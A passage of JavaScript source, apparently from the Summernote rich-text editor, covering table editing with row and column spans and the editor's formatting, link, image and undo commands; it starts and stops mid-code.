        var newCellIndex = cellIndex;
        while (_virtualTable[rowIndex][newCellIndex]) {
            newCellIndex++;
            if (!_virtualTable[rowIndex][newCellIndex]) {
                return newCellIndex;
            }
        }
    }
    /**
     * Recover info about row and cell and add information to virtual table.
     *
     * @param {object} row Row to recover information.
     * @param {object} cell Cell to recover information.
     */
    function addCellInfoToVirtual(row, cell) {
        var cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);
        var cellHasColspan = (cell.colSpan > 1);
        var cellHasRowspan = (cell.rowSpan > 1);
        var isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);
        setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);
        // Add span rows to virtual Table.
        var rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;
        if (rowspanNumber > 1) {
            for (var rp = 1; rp < rowspanNumber; rp++) {
                var rowspanIndex = row.rowIndex + rp;
                adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);
                setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);
            }
        }
        // Add span cols to virtual table.
        var colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;
        if (colspanNumber > 1) {
            for (var cp = 1; cp < colspanNumber; cp++) {
                var cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));
                adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);
                setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);
            }
        }
    }
    /**
     * Process validation and adjust of start point if needed
     *
     * @param {int} rowIndex
     * @param {int} cellIndex
     * @param {object} cell
     * @param {bool} isSelectedCell
     */
    function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {
        if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {
            _startPoint.colPos++;
        }
    }
    /**
     * Create virtual table of cells with all cells, including span cells.
     */
    function createVirtualTable() {
        var rows = domTable.rows;
        for (var rowIndex = 0; rowIndex < rows.length; rowIndex++) {
            var cells = rows[rowIndex].cells;
            for (var cellIndex = 0; cellIndex < cells.length; cellIndex++) {
                addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);
            }
        }
    }
    /**
     * Get action to be applied on the cell.
     *
     * @param {object} cell virtual table cell to apply action
     */
    function getDeleteResultActionToCell(cell) {
        switch (where) {
            case TableResultAction.where.Column:
                if (cell.isColSpan) {
                    return TableResultAction.resultAction.SubtractSpanCount;
                }
                break;
            case TableResultAction.where.Row:
                if (!cell.isVirtual && cell.isRowSpan) {
                    return TableResultAction.resultAction.AddCell;
                }
                else if (cell.isRowSpan) {
                    return TableResultAction.resultAction.SubtractSpanCount;
                }
                break;
        }
        return TableResultAction.resultAction.RemoveCell;
    }
    /**
     * Get action to be applied on the cell.
     *
     * @param {object} cell virtual table cell to apply action
     */
    function getAddResultActionToCell(cell) {
        switch (where) {
            case TableResultAction.where.Column:
                if (cell.isColSpan) {
                    return TableResultAction.resultAction.SumSpanCount;
                }
                else if (cell.isRowSpan && cell.isVirtual) {
                    return TableResultAction.resultAction.Ignore;
                }
                break;
            case TableResultAction.where.Row:
                if (cell.isRowSpan) {
                    return TableResultAction.resultAction.SumSpanCount;
                }
                else if (cell.isColSpan && cell.isVirtual) {
                    return TableResultAction.resultAction.Ignore;
                }
                break;
        }
        return TableResultAction.resultAction.AddCell;
    }
    function init() {
        setStartPoint();
        createVirtualTable();
    }
    /// ///////////////////////////////////////////
    // Public functions
    /// ///////////////////////////////////////////
    /**
     * Recover array os what to do in table.
     */
    this.getActionList = function () {
        var fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;
        var fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;
        var actualPosition = 0;
        var canContinue = true;
        while (canContinue) {
            var rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;
            var colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;
            var row = _virtualTable[rowPosition];
            if (!row) {
                canContinue = false;
                return _actionCellList;
            }
            var cell = row[colPosition];
            if (!cell) {
                canContinue = false;
                return _actionCellList;
            }
            // Define action to be applied in this cell
            var resultAction = TableResultAction.resultAction.Ignore;
            switch (action) {
                case TableResultAction.requestAction.Add:
                    resultAction = getAddResultActionToCell(cell);
                    break;
                case TableResultAction.requestAction.Delete:
                    resultAction = getDeleteResultActionToCell(cell);
                    break;
            }
            _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));
            actualPosition++;
        }
        return _actionCellList;
    };
    init();
};
/**
*
* Where action occours enum.
*/
TableResultAction.where = { 'Row': 0, 'Column': 1 };
/**
*
* Requested action to apply enum.
*/
TableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };
/**
*
* Result action to be executed enum.
*/
TableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };
/**
 *
 * @class editing.Table
 *
 * Table
 *
 */
var Table = /** @class */ (function () {
    function Table() {
    }
    /**
     * handle tab key
     *
     * @param {WrappedRange} rng
     * @param {Boolean} isShift
     */
    Table.prototype.tab = function (rng, isShift) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var table = dom.ancestor(cell, dom.isTable);
        var cells = dom.listDescendant(table, dom.isCell);
        var nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);
        if (nextCell) {
            range.create(nextCell, 0).select();
        }
    };
    /**
     * Add a new row
     *
     * @param {WrappedRange} rng
     * @param {String} position (top/bottom)
     * @return {Node}
     */
    Table.prototype.addRow = function (rng, position) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var currentTr = $$1(cell).closest('tr');
        var trAttributes = this.recoverAttributes(currentTr);
        var html = $$1('<tr' + trAttributes + '></tr>');
        var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Add, $$1(currentTr).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var idCell = 0; idCell < actions.length; idCell++) {
            var currentCell = actions[idCell];
            var tdAttributes = this.recoverAttributes(currentCell.baseCell);
            switch (currentCell.action) {
                case TableResultAction.resultAction.AddCell:
                    html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    break;
                case TableResultAction.resultAction.SumSpanCount:
                    if (position === 'top') {
                        var baseCellTr = currentCell.baseCell.parent;
                        var isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;
                        if (isTopFromRowSpan) {
                            var newTd = $$1('<div></div>').append($$1('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();
                            html.append(newTd);
                            break;
                        }
                    }
                    var rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10);
                    rowspanNumber++;
                    currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);
                    break;
            }
        }
        if (position === 'top') {
            currentTr.before(html);
        }
        else {
            var cellHasRowspan = (cell.rowSpan > 1);
            if (cellHasRowspan) {
                var lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);
                $$1($$1(currentTr).parent().find('tr')[lastTrIndex]).after($$1(html));
                return;
            }
            currentTr.after(html);
        }
    };
    /**
     * Add a new col
     *
     * @param {WrappedRange} rng
     * @param {String} position (left/right)
     * @return {Node}
     */
    Table.prototype.addCol = function (rng, position) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var rowsGroup = $$1(row).siblings();
        rowsGroup.push(row);
        var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Add, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            var currentCell = actions[actionIndex];
            var tdAttributes = this.recoverAttributes(currentCell.baseCell);
            switch (currentCell.action) {
                case TableResultAction.resultAction.AddCell:
                    if (position === 'right') {
                        $$1(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    else {
                        $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    break;
                case TableResultAction.resultAction.SumSpanCount:
                    if (position === 'right') {
                        var colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);
                        colspanNumber++;
                        currentCell.baseCell.setAttribute('colSpan', colspanNumber);
                    }
                    else {
                        $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    break;
            }
        }
    };
    /*
    * Copy attributes from element.
    *
    * @param {object} Element to recover attributes.
    * @return {string} Copied string elements.
    */
    Table.prototype.recoverAttributes = function (el) {
        var resultStr = '';
        if (!el) {
            return resultStr;
        }
        var attrList = el.attributes || [];
        for (var i = 0; i < attrList.length; i++) {
            if (attrList[i].name.toLowerCase() === 'id') {
                continue;
            }
            if (attrList[i].specified) {
                resultStr += ' ' + attrList[i].name + '=\'' + attrList[i].value + '\'';
            }
        }
        return resultStr;
    };
    /**
     * Delete current row
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteRow = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var cellPos = row.children('td, th').index($$1(cell));
        var rowPos = row[0].rowIndex;
        var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            if (!actions[actionIndex]) {
                continue;
            }
            var baseCell = actions[actionIndex].baseCell;
            var virtualPosition = actions[actionIndex].virtualTable;
            var hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);
            var rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;
            switch (actions[actionIndex].action) {
                case TableResultAction.resultAction.Ignore:
                    continue;
                case TableResultAction.resultAction.AddCell:
                    var nextRow = row.next('tr')[0];
                    if (!nextRow) {
                        continue;
                    }
                    var cloneRow = row[0].cells[cellPos];
                    if (hasRowspan) {
                        if (rowspanNumber > 2) {
                            rowspanNumber--;
                            nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);
                            nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);
                            nextRow.cells[cellPos].innerHTML = '';
                        }
                        else if (rowspanNumber === 2) {
                            nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);
                            nextRow.cells[cellPos].removeAttribute('rowSpan');
                            nextRow.cells[cellPos].innerHTML = '';
                        }
                    }
                    continue;
                case TableResultAction.resultAction.SubtractSpanCount:
                    if (hasRowspan) {
                        if (rowspanNumber > 2) {
                            rowspanNumber--;
                            baseCell.setAttribute('rowSpan', rowspanNumber);
                            if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                        else if (rowspanNumber === 2) {
                            baseCell.removeAttribute('rowSpan');
                            if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                    }
                    continue;
                case TableResultAction.resultAction.RemoveCell:
                    // Do not need remove cell because row will be deleted.
                    continue;
            }
        }
        row.remove();
    };
    /**
     * Delete current col
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteCol = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var cellPos = row.children('td, th').index($$1(cell));
        var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            if (!actions[actionIndex]) {
                continue;
            }
            switch (actions[actionIndex].action) {
                case TableResultAction.resultAction.Ignore:
                    continue;
                case TableResultAction.resultAction.SubtractSpanCount:
                    var baseCell = actions[actionIndex].baseCell;
                    var hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);
                    if (hasColspan) {
                        var colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;
                        if (colspanNumber > 2) {
                            colspanNumber--;
                            baseCell.setAttribute('colSpan', colspanNumber);
                            if (baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                        else if (colspanNumber === 2) {
                            baseCell.removeAttribute('colSpan');
                            if (baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                    }
                    continue;
                case TableResultAction.resultAction.RemoveCell:
                    dom.remove(actions[actionIndex].baseCell, true);
                    continue;
            }
        }
    };
    /**
     * create empty table element
     *
     * @param {Number} rowCount
     * @param {Number} colCount
     * @return {Node}
     */
    Table.prototype.createTable = function (colCount, rowCount, options) {
        var tds = [];
        var tdHTML;
        for (var idxCol = 0; idxCol < colCount; idxCol++) {
            tds.push('<td>' + dom.blank + '</td>');
        }
        tdHTML = tds.join('');
        var trs = [];
        var trHTML;
        for (var idxRow = 0; idxRow < rowCount; idxRow++) {
            trs.push('<tr>' + tdHTML + '</tr>');
        }
        trHTML = trs.join('');
        var $table = $$1('<table>' + trHTML + '</table>');
        if (options && options.tableClassName) {
            $table.addClass(options.tableClassName);
        }
        return $table[0];
    };
    /**
     * Delete current table
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteTable = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        $$1(cell).closest('table').remove();
    };
    return Table;
}());

var KEY_BOGUS = 'bogus';
/**
 * @class Editor
 */
var Editor = /** @class */ (function () {
    function Editor(context) {
        var _this = this;
        this.context = context;
        this.$note = context.layoutInfo.note;
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.editable = this.$editable[0];
        this.lastRange = null;
        this.style = new Style();
        this.table = new Table();
        this.typing = new Typing();
        this.bullet = new Bullet();
        this.history = new History(this.$editable);
        this.context.memo('help.undo', this.lang.help.undo);
        this.context.memo('help.redo', this.lang.help.redo);
        this.context.memo('help.tab', this.lang.help.tab);
        this.context.memo('help.untab', this.lang.help.untab);
        this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);
        this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);
        this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);
        this.context.memo('help.indent', this.lang.help.indent);
        this.context.memo('help.outdent', this.lang.help.outdent);
        this.context.memo('help.formatPara', this.lang.help.formatPara);
        this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);
        this.context.memo('help.fontName', this.lang.help.fontName);
        // native commands(with execCommand), generate function for execCommand
        var commands = [
            'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',
            'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',
            'formatBlock', 'removeFormat', 'backColor'
        ];
        for (var idx = 0, len = commands.length; idx < len; idx++) {
            this[commands[idx]] = (function (sCmd) {
                return function (value) {
                    _this.beforeCommand();
                    document.execCommand(sCmd, false, value);
                    _this.afterCommand(true);
                };
            })(commands[idx]);
            this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);
        }
        this.fontName = this.wrapCommand(function (value) {
            return _this.fontStyling('font-family', "\'" + value + "\'");
        });
        this.fontSize = this.wrapCommand(function (value) {
            return _this.fontStyling('font-size', value + 'px');
        });
        for (var idx = 1; idx <= 6; idx++) {
            this['formatH' + idx] = (function (idx) {
                return function () {
                    _this.formatBlock('H' + idx);
                };
            })(idx);
            this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);
        }
        
        this.insertParagraph = this.wrapCommand(function () {
            _this.typing.insertParagraph(_this.editable);
        });
        this.insertOrderedList = this.wrapCommand(function () {
            _this.bullet.insertOrderedList(_this.editable);
        });
        this.insertUnorderedList = this.wrapCommand(function () {
            _this.bullet.insertUnorderedList(_this.editable);
        });
        this.indent = this.wrapCommand(function () {
            _this.bullet.indent(_this.editable);
        });
        this.outdent = this.wrapCommand(function () {
            _this.bullet.outdent(_this.editable);
        });
        /**
         * insertNode
         * insert node
         * @param {Node} node
         */
        this.insertNode = this.wrapCommand(function (node) {
            if (_this.isLimited($$1(node).text().length)) {
                return;
            }
            var rng = _this.createRange();
            rng.insertNode(node);
            range.createFromNodeAfter(node).select();
        });
        /**
         * insert text
         * @param {String} text
         */
        this.insertText = this.wrapCommand(function (text) {
            if (_this.isLimited(text.length)) {
                return;
            }
            var rng = _this.createRange();
            var textNode = rng.insertNode(dom.createText(text));
            range.create(textNode, dom.nodeLength(textNode)).select();
        });
        /**
         * paste HTML
         * @param {String} markup
         */
        this.pasteHTML = this.wrapCommand(function (markup) {
            if (_this.isLimited(markup.length)) {
                return;
            }
            var contents = _this.createRange().pasteHTML(markup);
            range.createFromNodeAfter(lists.last(contents)).select();
        });
        /**
         * formatBlock
         *
         * @param {String} tagName
         */
        this.formatBlock = this.wrapCommand(function (tagName, $target) {
            var onApplyCustomStyle = _this.options.callbacks.onApplyCustomStyle;
            if (onApplyCustomStyle) {
                onApplyCustomStyle.call(_this, $target, _this.context, _this.onFormatBlock);
            }
            else {
                _this.onFormatBlock(tagName, $target);
            }
        });
        /**
         * insert horizontal rule
         */
        this.insertHorizontalRule = this.wrapCommand(function () {
            var hrNode = _this.createRange().insertNode(dom.create('HR'));
            if (hrNode.nextSibling) {
                range.create(hrNode.nextSibling, 0).normalize().select();
            }
        });
        /**
         * lineHeight
         * @param {String} value
         */
        this.lineHeight = this.wrapCommand(function (value) {
            _this.style.stylePara(_this.createRange(), {
                lineHeight: value
            });
        });
        /**
         * create link (command)
         *
         * @param {Object} linkInfo
         */
        this.createLink = this.wrapCommand(function (linkInfo) {
            var linkUrl = linkInfo.url;
            var linkText = linkInfo.text;
            var isNewWindow = linkInfo.isNewWindow;
            var rng = linkInfo.range || _this.createRange();
            var isTextChanged = rng.toString() !== linkText;
            // handle spaced urls from input
            if (typeof linkUrl === 'string') {
                linkUrl = linkUrl.trim();
            }
            if (_this.options.onCreateLink) {
                linkUrl = _this.options.onCreateLink(linkUrl);
            }
            else {
                // if url doesn't match an URL schema, set http:// as default
                linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(linkUrl)
                    ? linkUrl : 'http://' + linkUrl;
            }
            var anchors = [];
            if (isTextChanged) {
                rng = rng.deleteContents();
                var anchor = rng.insertNode($$1('<A>' + linkText + '</A>')[0]);
                anchors.push(anchor);
            }
            else {
                anchors = _this.style.styleNodes(rng, {
                    nodeName: 'A',
                    expandClosestSibling: true,
                    onlyPartialContains: true
                });
            }
            $$1.each(anchors, function (idx, anchor) {
                $$1(anchor).attr('href', linkUrl);
                if (isNewWindow) {
                    $$1(anchor).attr('target', '_blank');
                }
                else {
                    $$1(anchor).removeAttr('target');
                }
            });
            var startRange = range.createFromNodeBefore(lists.head(anchors));
            var startPoint = startRange.getStartPoint();
            var endRange = range.createFromNodeAfter(lists.last(anchors));
            var endPoint = endRange.getEndPoint();
            range.create(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset).select();
        });
        /**
         * setting color
         *
         * @param {Object} sObjColor  color code
         * @param {String} sObjColor.foreColor foreground color
         * @param {String} sObjColor.backColor background color
         */
        this.color = this.wrapCommand(function (colorInfo) {
            var foreColor = colorInfo.foreColor;
            var backColor = colorInfo.backColor;
            if (foreColor) {
                document.execCommand('foreColor', false, foreColor);
            }
            if (backColor) {
                document.execCommand('backColor', false, backColor);
            }
        });
        /**
         * Set foreground color
         *
         * @param {String} colorCode foreground color code
         */
        this.foreColor = this.wrapCommand(function (colorInfo) {
            document.execCommand('styleWithCSS', false, true);
            document.execCommand('foreColor', false, colorInfo);
        });
        /**
         * insert Table
         *
         * @param {String} dimension of table (ex : "5x5")
         */
        this.insertTable = this.wrapCommand(function (dim) {
            var dimension = dim.split('x');
            var rng = _this.createRange().deleteContents();
            rng.insertNode(_this.table.createTable(dimension[0], dimension[1], _this.options));
        });
        /**
         * remove media object and Figure Elements if media object is img with Figure.
         */
        this.removeMedia = this.wrapCommand(function () {
            var $target = $$1(_this.restoreTarget()).parent();
            if ($target.parent('figure').length) {
                $target.parent('figure').remove();
            }
            else {
                $target = $$1(_this.restoreTarget()).detach();
            }
            _this.context.triggerEvent('media.delete', $target, _this.$editable);
        });
        /**
         * float me
         *
         * @param {String} value
         */
        this.floatMe = this.wrapCommand(function (value) {
            var $target = $$1(_this.restoreTarget());
            $target.toggleClass('note-float-left', value === 'left');
            $target.toggleClass('note-float-right', value === 'right');
            $target.css('float', value);
        });
        /**
         * resize overlay element
         * @param {String} value
         */
        this.resize = this.wrapCommand(function (value) {
            var $target = $$1(_this.restoreTarget());
            $target.css({
                width: value * 100 + '%',
                height: ''
            });
        });
    }
    Editor.prototype.initialize = function () {
        var _this = this;
        // bind custom events
        this.$editable.on('keydown', function (event) {
            if (event.keyCode === key.code.ENTER) {
                _this.context.triggerEvent('enter', event);
            }
            _this.context.triggerEvent('keydown', event);
            if (!event.isDefaultPrevented()) {
                if (_this.options.shortcuts) {
                    _this.handleKeyMap(event);
                }
                else {
                    _this.preventDefaultEditableShortCuts(event);
                }
            }
            if (_this.isLimited(1, event)) {
                return false;
            }
        }).on('keyup', function (event) {
            _this.context.triggerEvent('keyup', event);
        }).on('focus', function (event) {
            _this.context.triggerEvent('focus', event);
        }).on('blur', function (event) {
            _this.context.triggerEvent('blur', event);
        }).on('mousedown', function (event) {
            _this.context.triggerEvent('mousedown', event);
        }).on('mouseup', function (event) {
            _this.context.triggerEvent('mouseup', event);
        }).on('scroll', function (event) {
            _this.context.triggerEvent('scroll', event);
        }).on('paste', function (event) {
            _this.context.triggerEvent('paste', event);
        });
        // init content before set event
        this.$editable.html(dom.html(this.$note) || dom.emptyPara);
        this.$editable.on(env.inputEventName, func.debounce(function () {
            _this.context.triggerEvent('change', _this.$editable.html());
        }, 100));
        this.$editor.on('focusin', function (event) {
            _this.context.triggerEvent('focusin', event);
        }).on('focusout', function (event) {
            _this.context.triggerEvent('focusout', event);
        });
        if (!this.options.airMode) {
            if (this.options.width) {
                this.$editor.outerWidth(this.options.width);
            }
            if (this.options.height) {
                this.$editable.outerHeight(this.options.height);
            }
            if (this.options.maxHeight) {
                this.$editable.css('max-height', this.options.maxHeight);
            }
            if (this.options.minHeight) {
                this.$editable.css('min-height', this.options.minHeight);
            }
        }
        this.history.recordUndo();
    };
    Editor.prototype.destroy = function () {
        this.$editable.off();
    };
    Editor.prototype.handleKeyMap = function (event) {
        var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];
        var keys = [];
        if (event.metaKey) {
            keys.push('CMD');
        }
        if (event.ctrlKey && !event.altKey) {
            keys.push('CTRL');
        }
        if (event.shiftKey) {
            keys.push('SHIFT');
        }
        var keyName = key.nameFromCode[event.keyCode];
        if (keyName) {
            keys.push(keyName);
        }
        var eventName = keyMap[keys.join('+')];
        if (eventName) {
            if (this.context.invoke(eventName) !== false) {
                event.preventDefault();
            }
        }
        else if (key.isEdit(event.keyCode)) {
            this.afterCommand();
        }
    };
    Editor.prototype.preventDefaultEditableShortCuts = function (event) {
        // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)
        if ((event.ctrlKey || event.metaKey) &&
            lists.contains([66, 73, 85], event.keyCode)) {
            event.preventDefault();
        }
    };
    Editor.prototype.isLimited = function (pad, event) {
        pad = pad || 0;
        if (typeof event !== 'undefined') {
            if (key.isMove(event.keyCode) ||
                (event.ctrlKey || event.metaKey) ||
                lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {
                return false;
            }
        }
        if (this.options.maxTextLength > 0) {
            if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {
                return true;
            }
        }
        return false;
    };
    /**
     * create range
     * @return {WrappedRange}
     */
    Editor.prototype.createRange = function () {
        this.focus();
        return range.create(this.editable);
    };
    /**
     * saveRange
     *
     * save current range
     *
     * @param {Boolean} [thenCollapse=false]
     */
    Editor.prototype.saveRange = function (thenCollapse) {
        this.lastRange = this.createRange();
        if (thenCollapse) {
            this.lastRange.collapse().select();
        }
    };
    /**
     * restoreRange
     *
     * restore lately range
     */
    Editor.prototype.restoreRange = function () {
        if (this.lastRange) {
            this.lastRange.select();
            this.focus();
        }
    };
    Editor.prototype.saveTarget = function (node) {
        this.$editable.data('target', node);
    };
    Editor.prototype.clearTarget = function () {
        this.$editable.removeData('target');
    };
    Editor.prototype.restoreTarget = function () {
        return this.$editable.data('target');
    };
    /**
     * currentStyle
     *
     * current style
     * @return {Object|Boolean} unfocus
     */
    Editor.prototype.currentStyle = function () {
        var rng = range.create();
        if (rng) {
            rng = rng.normalize();
        }
        return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);
    };
    /**
     * style from node
     *
     * @param {jQuery} $node
     * @return {Object}
     */
    Editor.prototype.styleFromNode = function ($node) {
        return this.style.fromNode($node);
    };
    /**
     * undo
     */
    Editor.prototype.undo = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        this.history.undo();
        this.context.triggerEvent('change', this.$editable.html());
    };
    /**
     * redo
     */
    Editor.prototype.redo = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        this.history.redo();
        this.context.triggerEvent('change', this.$editable.html());
    };
    /**
     * before command
     */
    Editor.prototype.beforeCommand = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        // keep focus on editable before command execution
        this.focus();
    };
    /**
     * after command
     * @param {Boolean} isPreventTrigger
     */
    Editor.prototype.afterCommand = function (isPreventTrigger) {
        this.normalizeContent();
        this.history.recordUndo();
        if (!isPreventTrigger) {
            this.context.triggerEvent('change', this.$editable.html());
        }
    };
    /**
     * handle tab key
     */
    Editor.prototype.tab = function () {
        var rng = this.createRange();
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.table.tab(rng);
        }
        else {
            if (this.options.tabSize === 0) {
                return false;
            }
            if (!this.isLimited(this.options.tabSize)) {
                this.beforeCommand();
                this.typing.insertTab(rng, this.options.tabSize);
                this.afterCommand();
            }
        }
    };
    /**
     * handle shift+tab key
     */
    Editor.prototype.untab = function () {
        var rng = this.createRange();
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.table.tab(rng, true);
        }
        else {
            if (this.options.tabSize === 0) {
                return false;
            }
        }
    };
    /**
     * run given function between beforeCommand and afterCommand
     */
    Editor.prototype.wrapCommand = function (fn) {
        var _this = this;
        return function () {
            _this.beforeCommand();
            fn.apply(_this, arguments);
            _this.afterCommand();
        };
    };
    /**
     * insert image
     *
     * @param {String} src
     * @param {String|Function} param
     * @return {Promise}
     */
    Editor.prototype.insertImage = function (src, param) {
        var _this = this;
        return createImage(src, param).then(function ($image) {
            _this.beforeCommand();
            if (typeof param === 'function') {
                param($image);
            }
            else {
                if (typeof param === 'string') {
                    $image.attr('data-filename', param);
                }
                $image.css('width', Math.min(_this.$editable.width(), $image.width()));
            }
            $image.show();
            range.create(_this.editable).insertNode($image[0]);
            range.createFromNodeAfter($image[0]).select();
            _this.afterCommand();
        }).fail(function (e) {
            _this.context.triggerEvent('image.upload.error', e);
        });
    };
    /**
     * insertImages
     * @param {File[]} files
     */
    Editor.prototype.insertImages = function (files) {
        var _this = this;
        $$1.each(files, function (idx, file) {
            var filename = file.name;
            if (_this.options.maximumImageFileSize && _this.options.maximumImageFileSize < file.size) {
                _this.context.triggerEvent('image.upload.error', _this.lang.image.maximumFileSizeError);
            }
            else {
                readFileAsDataURL(file).then(function (dataURL) {
                    return _this.insertImage(dataURL, filename);
                }).fail(function () {
                    _this.context.triggerEvent('image.upload.error');
                });
            }
        });
    };
    /**
     * insertImagesOrCallback
     * @param {File[]} files
     */
    Editor.prototype.insertImagesOrCallback = function (files) {
        var callbacks = this.options.callbacks;
        // If onImageUpload this.options setted
        if (callbacks.onImageUpload) {
            this.context.triggerEvent('image.upload', files);
            // else insert Image as dataURL
        }
        else {
            this.insertImages(files);
        }
    };
    /**
     * return selected plain text
     * @return {String} text
     */
    Editor.prototype.getSelectedText = function () {
        var rng = this.createRange();
        // if range on anchor, expand range with anchor
        if (rng.isOnAnchor()) {
            rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));
        }
        return rng.toString();
    };
    Editor.prototype.onFormatBlock = function (tagName, $target) {
        // [workaround] for MSIE, IE need `<`
        tagName = env.isMSIE ? '<' + tagName + '>' : tagName;
        document.execCommand('FormatBlock', false, tagName);
        // support custom class
        if ($target && $target.length) {
            var className = $target[0].className || '';
            if (className) {
                var currentRange = this.createRange();
                var $parent = $$1([currentRange.sc, currentRange.ec]).closest(tagName);
                $parent.addClass(className);
            }
        }
    };
    Editor.prototype.formatPara = function () {
        this.formatBlock('P');
    };
    Editor.prototype.fontStyling = function (target, value) {
        var rng = this.createRange();
        if (rng) {
            var spans = this.style.styleNodes(rng);
            $$1(spans).css(target, value);
            // [workaround] added styled bogus span for style
            //  - also bogus character needed for cursor position
            if (rng.isCollapsed()) {
                var firstSpan = lists.head(spans);
                if (firstSpan && !dom.nodeLength(firstSpan)) {
                    firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;
                    range.createFromNodeAfter(firstSpan.firstChild).select();
                    this.$editable.data(KEY_BOGUS, firstSpan);
                }
            }
        }
    };
    /**
     * unlink
     *
     * @type command
     */
    Editor.prototype.unlink = function () {
        var rng = this.createRange();
        if (rng.isOnAnchor()) {
            var anchor = dom.ancestor(rng.sc, dom.isAnchor);
            rng = range.createFromNode(anchor);
